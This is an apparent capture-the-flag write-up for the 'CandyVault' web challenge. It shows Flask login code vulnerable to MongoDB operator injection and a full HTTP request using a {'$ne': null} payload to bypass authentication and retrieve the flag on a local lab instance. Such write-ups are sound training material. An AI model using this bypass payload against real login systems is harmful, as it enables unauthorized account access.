CandyVault
Challenge
- CTF: Hack The Boo 2023 - Practice Official Writeup
- Name: CandyVault
- Category: Web
- Difficulty: Very Easy
- Points: 325
- Description: The malevolent spirits have concealed all the Halloween treats within their secret vault, and it’s imperative that you decipher its enigmatic seal to reclaim the candy before the spooky night arrives.
- Objective: MongoDB noSQL Authentication Bypass
Files
Download: web_candyvault.zip
Writeup
Lets spin-up the docker image of the web and setup our static-code analysis IDE:
1
2
code .
sudo ./build-docker.sh
Browsing to the local webpage: http://127.0.0.1:1337/
, we are greeted with a login page:
Attempting to login was unsuccessful. Browsing the source code, we can see that it supports two different content types. If the result is non-empty, the flag is shown.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route("/login", methods=["POST"])
def login():
content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded":
email = request.form.get("email")
password = request.form.get("password")
elif content_type == "application/json":
data = request.get_json()
email = data.get("email")
password = data.get("password")
else:
return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user:
return render_template("candy.html", flag=open("flag.txt").read())
else:
return redirect("/")
Attempting to bypass the login, we can try doing a NoSQL exploitation payload that will return True: {"username": {"$ne": null}, "password": {"$ne": null}}
1
2
3
4
5
6
7
8
9
10
POST /login HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 45
{"email": {"$ne": null}, "password": {"$ne": null}}
HTB{f4k3_fl4g_f0r_t35t1ng}
Spinning up a docker instance and sending the same payload, we can then obtain the real flag. Flag: HTB{w3lc0m3_to0o0o_th3_c44andy_v4u1t!}
This post is licensed under CC BY 4.0 by the author.